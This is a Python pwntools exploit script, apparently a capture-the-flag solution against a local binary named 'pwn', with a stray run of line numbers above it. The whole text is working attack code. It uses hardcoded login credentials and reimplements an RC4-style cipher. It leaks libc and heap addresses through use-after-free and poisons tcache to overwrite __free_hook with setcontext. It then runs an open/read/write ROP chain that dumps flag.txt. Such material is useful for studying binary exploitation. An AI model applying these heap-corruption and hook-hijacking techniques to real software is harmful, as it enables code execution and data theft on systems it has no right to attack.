1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201
| from pwn import *
p = process('./pwn')
context.log_level = 'debug'
usr = b'' libc = ELF("./libc.so.6") dat = [i for i in range(ord('A'), ord("Z")+1)] + [i for i in range(ord('a'), ord("z")+1)] + [i for i in range(ord('0'), ord("9")+1)] + [ord('_')]
recv=b''
usr = b'4dm1n' psw = b'985da4f8cb37zkj'
p.sendlineafter('username:\n', usr) p.sendlineafter('password:\n', psw)
def add(key, size, data): p.sendlineafter('>', '1') p.sendlineafter('key:', str(key)) p.sendlineafter('size:', str(size)) if len(data)<size: p.sendlineafter('value:', data) else: p.sendafter('value:', data)
def delete(key): p.sendlineafter('>', '3') p.sendlineafter('key:', str(key))
def show(key): p.sendlineafter('>', '2') p.sendlineafter('key:', str(key))
def edit(key, content): p.sendlineafter('>', '4') p.sendlineafter('key:', str(key)) p.sendafter('value:', content)
key=[ 0x7b,0x02,0x45,0x85,0x2c,0x31,0x18,0x2b, 0x92,0x3e,0x88,0xc5,0x21,0xc8,0x5d,0x20, 0xf0,0x1d,0x17,0x9d,0x4c,0x4f,0x61,0xba, 0xa3,0xe1,0xa5,0xf2,0x81,0xa4,0x4b,0xf5, 0x83,0x57,0x52,0x59,0x79,0x1b,0xb1,0x0b, 0xe9,0x47,0x64,0x0a,0x77,0x07,0xe8,0x36, 0xf9,0x98,0x68,0x84,0x08,0xc0,0x8e,0xd8, 0xfe,0x72,0x22,0x3b,0x14,0x99,0x27,0xbb, 0x0f,0xaf,0x60,0x49,0xbf,0xa2,0x76,0x33, 0xb5,0x3c,0x86,0xc7,0xb9,0x5a,0x53,0x8a, 0x37,0xa0,0x5c,0xe4,0x71,0x62,0x34,0x1e, 0x3d,0x1c,0x94,0x54,0xa1,0x04,0xdc,0xd4, 0x2f,0x11,0x39,0x9a,0xd0,0xf3,0x95,0x67, 0xd2,0xb3,0xc1,0xce,0x56,0xd1,0xe3,0x66, 0x70,0xb6,0xee,0xb0,0xf1,0x50,0xb2,0x9c, 0xac,0x80,0x30,0x73,0x2d,0xaa,0xab,0x0c, 0x7f,0xad,0xbe,0xb4,0x63,0x93,0x8b,0x5b, 0x43,0xea,0x40,0x6c,0x78,0x9e,0xa9,0xcf, 0x51,0x3a,0xdd,0xe2,0xc6,0xca,0x5f,0xe5, 0x48,0x58,0x32,0xc3,0xbc,0x82,0x7e,0x55, 0xb8,0x01,0x12,0x8d,0xeb,0xc2,0x91,0xfb, 0xcd,0x4d,0xff,0xf7,0x3f,0xc9,0xd6,0x1f, 0x19,0x42,0x06,0x00,0x65,0x8c,0xe6,0x90, 0xfd,0xdb,0xfa,0x6f,0x38,0xa8,0x7a,0x89, 0x97,0x6b,0xda,0xb7,0xd7,0x7d,0x75,0x6a, 0xbd,0xf8,0x0e,0xd3,0x2e,0x44,0x69,0x26, 0x29,0x35,0xef,0x96,0x05,0x74,0x6e,0x23, 0xe0,0x6d,0x7c,0x10,0xdf,0xec,0x09,0xf4, 0xae,0x25,0x9b,0xf6,0x03,0x15,0xed,0x2a, 0xa7,0x1a,0x4e,0xd5,0x28,0x8f,0x24,0xde, 0x46,0x87,0xa6,0x16,0xe7,0xc4,0xfc,0x5e, 0xcb,0xd9,0x0d,0xcc,0x9f,0x13,0x41,0x4a, ] def enc(content,size): v5 = 0 v6 = 0 i = 0 content = content.ljust(size, b'\0') a1 = key.copy() a2 = list(content)
while 1: if i >= size: break v5 = (v5 + 1) % 256 v6 = (v6 + a1[v5]) % 256 v4 = a1[v5] a1[v5] = a1[v6] a1[v6] = v4 a2[i] ^= a1[(a1[v5] + a1[v6])%256] i+=1
return bytes(a2)[:size]
for i in range(8): add(i, 0x80, b'A'*0x8)
for i in range(7,-1,-1): delete(i)
show(0) p.recvuntil(b'] = [') p.recvuntil(b',') recv = p.recvuntil(b']')[:-1] data = enc(recv, 0x80)
print(data) unsort = u64(data[:8]) print(hex(unsort)) libcbase = unsort - 0x3ebca0 print(hex(libcbase))
add(1, 0x10, b'a')
delete(1)
show(1)
p.recvuntil(b'] = [')
p.recvuntil(b',') recv = p.recvuntil(b']')[:-1] data = enc(recv, 0x10)
chunk1 = u64(data[:8]) heapbase = chunk1 - 0x1140 print(hex(heapbase)) free_hook = libcbase + libc.sym['__free_hook'] setcontext = libcbase + libc.sym['setcontext'] edit(1, enc(p64(free_hook-8), 0x10))
add(2, 0x10, b'a')
add(2, 0x10, enc(p64(0) + p64(setcontext+53), 0x10))
ropbase = heapbase + 0x1440 rdi = libcbase + 0x000000000002164f rsi = libcbase + 0x0000000000023a6a rdx = libcbase + 0x0000000000001b96 ret = libcbase + 0x00000000000008aa open_a = libcbase + libc.sym['open'] read_a = libcbase + libc.sym['read'] write_a = libcbase + libc.sym['write']
payload = b'\0'*0xa0 + p64(ropbase) + p64(ret)
add(3, 0x200, payload)
ropchain = p64(rdi) + p64(ropbase+0x100) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_a) ropchain += p64(rdi) + p64(3) + p64(rsi) + p64(ropbase+0x168) + p64(rdx) + p64(0x100) + p64(read_a) ropchain += p64(rdi) + p64(1) + p64(rsi) + p64(ropbase+0x168) + p64(rdx) + p64(0x100) + p64(write_a)
ropchain = ropchain.ljust(0x100, b'\0') + b'flag.txt\0' + b'b'*30 ropchain = ropchain.ljust(0x220,b'e') payload = enc(ropchain,0x220)
add(4, 0x220, payload) assert not b'\n' in payload gdb.attach(p,'b free')
delete(3)
p.interactive()
|